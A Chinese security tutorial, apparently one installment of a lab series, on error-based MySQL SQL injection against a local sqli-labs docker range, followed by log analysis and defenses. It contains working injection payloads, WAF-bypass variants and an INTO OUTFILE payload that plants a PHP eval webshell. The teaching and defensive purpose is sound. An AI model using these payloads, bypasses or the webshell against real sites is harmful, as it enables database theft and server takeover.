靶场实战11|报错也能把数据库拖走(附docker靶场部署步骤)
原创
安全值班室
安全值班室
安全值班室
2026年10月17日 09:00
北京
去阅读
上一章盲注靠\"是/否\"一比特一比特猜,太累。还有一种场景:页面会报错,但报错里带着数据库信息——能不能让数据库把答案直接\"吐\"出来?能。用 MySQL 的 extractvalue / updatexml 函数故意制造 XPATH 语法错误,让报错信息变成你的显示器,这就是报错注入。本章再用 sqli-labs 把报错注入和常见 WAF 绕过完整跑一遍。
01 / 环境搭建:一条命令拉起报错注入靶场
sqli-labs 的 Less-11 是教科书级 POST 报错注入关卡,Less-7 展示 into outfile 写文件危害。MySQL 5.x 自带 extractvalue / updatexml,报错注入全靠它们。
一键启动命令
一键启动 sqli-labs(若 8082 被前几章占用,改用 8084)
dockerrun-d--namesqli-labs2-p8084:80--restart=alwaysdocker.1ms.run/acgpiano/sqli-labs
↑ sqli-labs:SQLi 专项靶场,镜像已内置数据库,开箱即用
访问 http://localhost:8084/Less-11/ (登录框 uname / passwd)
注意:Less-11 是 POST 型注入,参数在请求体里,不在 URL 里
验证靶场就绪:用默认账号 Dumb/Dumb 登录,应回显 \"Your Login name\"
curl-s-d\"uname=Dumb&passwd=Dumb&submit=Submit\"\
http://localhost:8084/Less-11/ | grep -i \"Login name\"
⌨️ 整块复制以上命令,粘贴到终端回车即可执行
靶场说明:报错注入的原理是 MySQL 的 extractvalue(XML\_doc, XPath) 和 updatexml(XML\_doc, XPath, new\_val) 在 XPath 参数非法时报错,并把整段表达式回显。只要把子查询塞进 XPath 参数,报错就替你执行了查询。
避坑指南
1. 报错被截断:extractvalue 报错只回显约 32 字符,数据太长会显示不完整——用 substr 分片取,别硬拼。
2. POST 参数没生效:Less-11 是 POST 型,用 curl -d 或 Burp 改包,别往 URL 里塞。
3. 端口冲突:报 bind: address already in use,说明 8084 被占,换端口或 docker rm 旧容器。
4. 报错不出现:先确认当前用户对 information\_schema 有读权限;MySQL 8 里部分函数行为有差异,建议用 5.x 镜像。
02 / 模拟攻击:五步拿到库名表名
第一步:探测注入点(单引号试错)
在登录框用户名处输入单引号,观察响应是否出现 SQL 语法错误——这是最廉价的注入点探测法。
POST/Less-11/HTTP/1.1
Host: localhost:8084
Content-Type: application/x-www-form-urlencoded
uname=admin'&passwd=\\\\\\&submit=Submit
响应出现 \"You have an error in your SQL syntax\",证明单引号被拼进了 SQL——注入点确认。
第二步:extractvalue 报错回显版本
关键Payload(已打码):0x7e 是 ~,concat 让 XPath 非法从而触发报错
uname=admin'ANDextractvalue(1,concat(0x7e,(SELECTversion())))---&passwd=\\\\\\
响应报错:XPATH syntax error: '~5.7.26'。原理:extractvalue 第二个参数不是合法 XPath,MySQL 抛出 XPATH syntax error 并原样回显表达式,子查询结果就跟着\"漏\"了出来。
第三步:报错拖库(表名+字段)
查当前库所有表(group\_concat 拼一行,配合 substr 分片防截断)
uname=admin'ANDextractvalue(1,concat(0x7e,substr((
SELECTgroup\_concat(table\_name)FROMinformation\_schema.tables
WHEREtable\_schema=database()),1,30)))---&passwd=\\\\\\
报错:XPATH syntax error: '~emails,referers,users,uact'
看到 users 表后,再查字段名,最终用 updatexml 也能达到同样效果,两个函数可互换。
第四步:绕过 WAF(三板斧)
① 大小写混写:ExtractValue、SeLeCt(绕过只匹配小写的规则)
② 内联注释:/\!50000extractvalue\/(MySQL 会执行注释内的代码)
③ 空格替换:/\\/、%09、%0a(绕过空格正则)
uname=admin'/\\/AND/\\/ExtractValue(1,concat(0x7e,(SeLeCt/\\/version())))---&passwd=\\\\\\
真实 WAF 还会拦截报错关键字本身,需要结合编码与注释组合变形,这就是\"绕过\"的博弈。
第五步:Less-7 into outfile 写文件(看危害上限)
仅本地演示请求特征:UNION 配合 INTO OUTFILE 可写 webshell
id=1'))UNIONSELECT1,2,'?php@eval($92_POST[1]);?'INTOOUTFILE
'/var/www/html/shell.php'---
成功前提:MySQL 有 FILE 权限且 secure\_file\_priv 未限制
这一层一旦打通,注入直接升级为服务器控制权——这正是必须防护的原因。
03 / 日志分析:报错注入在日志里长什么样
攻击特点
报错注入的特征非常明显:请求参数里带引号/括号/注释符/0x 十六进制编码,响应里出现 SQL 报错片段,且同一来源 IP 会短时间内高频请求、参数逐次微调(自动枚举)。
脱敏日志片段
[REDACTED]--[28/Aug/2026:14:23:41+0800]\"POST /Less-11/ HTTP/1.1\"2001278\"-\"\"Mozilla/5.0\"
[REDACTED]--[28/Aug/2026:14:23:42+0800]\"POST /Less-11/ HTTP/1.1\"2001145\"-\"\"sqlmap/1.7.2#stable\"
[REDACTED]--[28/Aug/2026:14:23:42+0800]\"POST /Less-11/ HTTP/1.1\"2001189\"-\"\"sqlmap/1.7.2#stable\"
14:23:41 [Note] Access denied ... uname=admin' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
判断标准(至少满足3条可认定攻击)
1. 参数含 SQL 元字符组合:引号 + 括号 + 注释符(-- -、#)+ 0x 编码同时出现,正常用户不会这么输入。
2. 响应含报错关键字:XPATH syntax error、SQL syntax、MySQL 版本号等数据库错误信息被回显。
3. 高频自动枚举:同一 IP 数秒内多次 POST,参数逐次变化(version→database→tables),明显是脚本在跑。
4. 工具 UA:User-Agent 含 sqlmap、nuclei 等工具标识,或 UA 伪装但请求节奏异常。
逐行解读
第1行:普通浏览器 UA 的首次探测,参数异常已可预警;第2-3行:UA 变为 sqlmap,同一秒连续两次 POST——工具开始自动注入,参数每次都在变;第4行(MySQL general\_log):数据库层完整记录了注入语句,extractvalue 和 0x7e 是报错注入的指纹特征。
04 / 如何防护:从根上掐断\"报错显示器\"
先讲原理
报错注入能成功,根因是两个失误叠加:① 开发者把用户输入直接拼接进 SQL 语句;② MySQL 的报错信息原样回显给用户。只要掐断任意一个,报错注入就废了。
基础级(必须做):参数化查询+关报错
//PHPPDO参数化:输入只当数据,不当代码
$stmt=$pdo->prepare(\"SELECT\*FROMusersWHEREname=?\");
$stmt->execute([$\_POST['uname']]);
生产环境关闭错误回显
php.ini: display\_errors = Off
MySQL 账号只用 SELECT/DML,绝不授权 FILE
进阶级(推荐):WAF+白名单
Nginx WAF 关键规则:拦截报错注入指纹
if($args~\*\"extractvalue|updatexml|concat\(|0x[0-9a-f]{2}\"){return403;}
输入白名单:用户名只允许字母数字和少量符号
if($arg\uname!~\"^[a-zA-Z0-9\@.-]{1,32}$\"){return403;}
专家级(纵深防御)
1. 错误统一脱敏:框架层捕获所有异常,统一返回通用错误页,数据库信息永不外泄。
2. 日志监控告警:把 \"XPATH syntax error\"、\"SQL syntax\" 设为告警关键字,命中即触发响应流程。
3. RASP 运行时防护:应用层实时检测 SQL 语句结构异常(如 select 后拼接 extractvalue)。
4. 数据库审计:开启 general\_log/审计插件,高危语句留存溯源。
5. 最小权限:Web 账号只授权业务库,secure\_file\_priv 置空禁止导出。
05 / 总结复盘
要点提炼
- 报错注入本质:把数据库报错当\"显示器\",extractvalue / updatexml 的 XPATH 语法错误会原样回显子查询结果。
- 回显只有约 32 字符,超长用 substr 分片,别硬拼。
- 绕过三板斧:大小写混写、内联注释 /\!50000\/、空白符替换(/\\/、%09)。
- 看到 XPATH syntax error 就是报错注入铁证,日志里同时抓 UA 和请求节奏。
- 防护一句话:参数化查询 + 关闭错误回显 + 最小权限,三条做到注入基本无门。
面试可能怎么问
Q:报错注入的原理是什么?A:MySQL 的 extractvalue/updatexml 在 XPath 参数非法时报错并回显表达式,把子查询拼进 XPath 参数即可让报错携带查询结果。Q:为什么报错回显有长度限制?A:函数报错信息本身被截断到约32字符,需 substr 分片。Q:如何彻底防御?A:参数化查询让输入只当数据,关闭数据库错误回显,最小权限账号。
SQL 注入讲了联合、盲注、报错三连,下一站换战场:XSS 反射型——注入点从数据库搬到浏览器,目标是你的 Cookie 和会话。
关注我,下期不迷路
MORE
往期回顾
Web安全学习路线
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论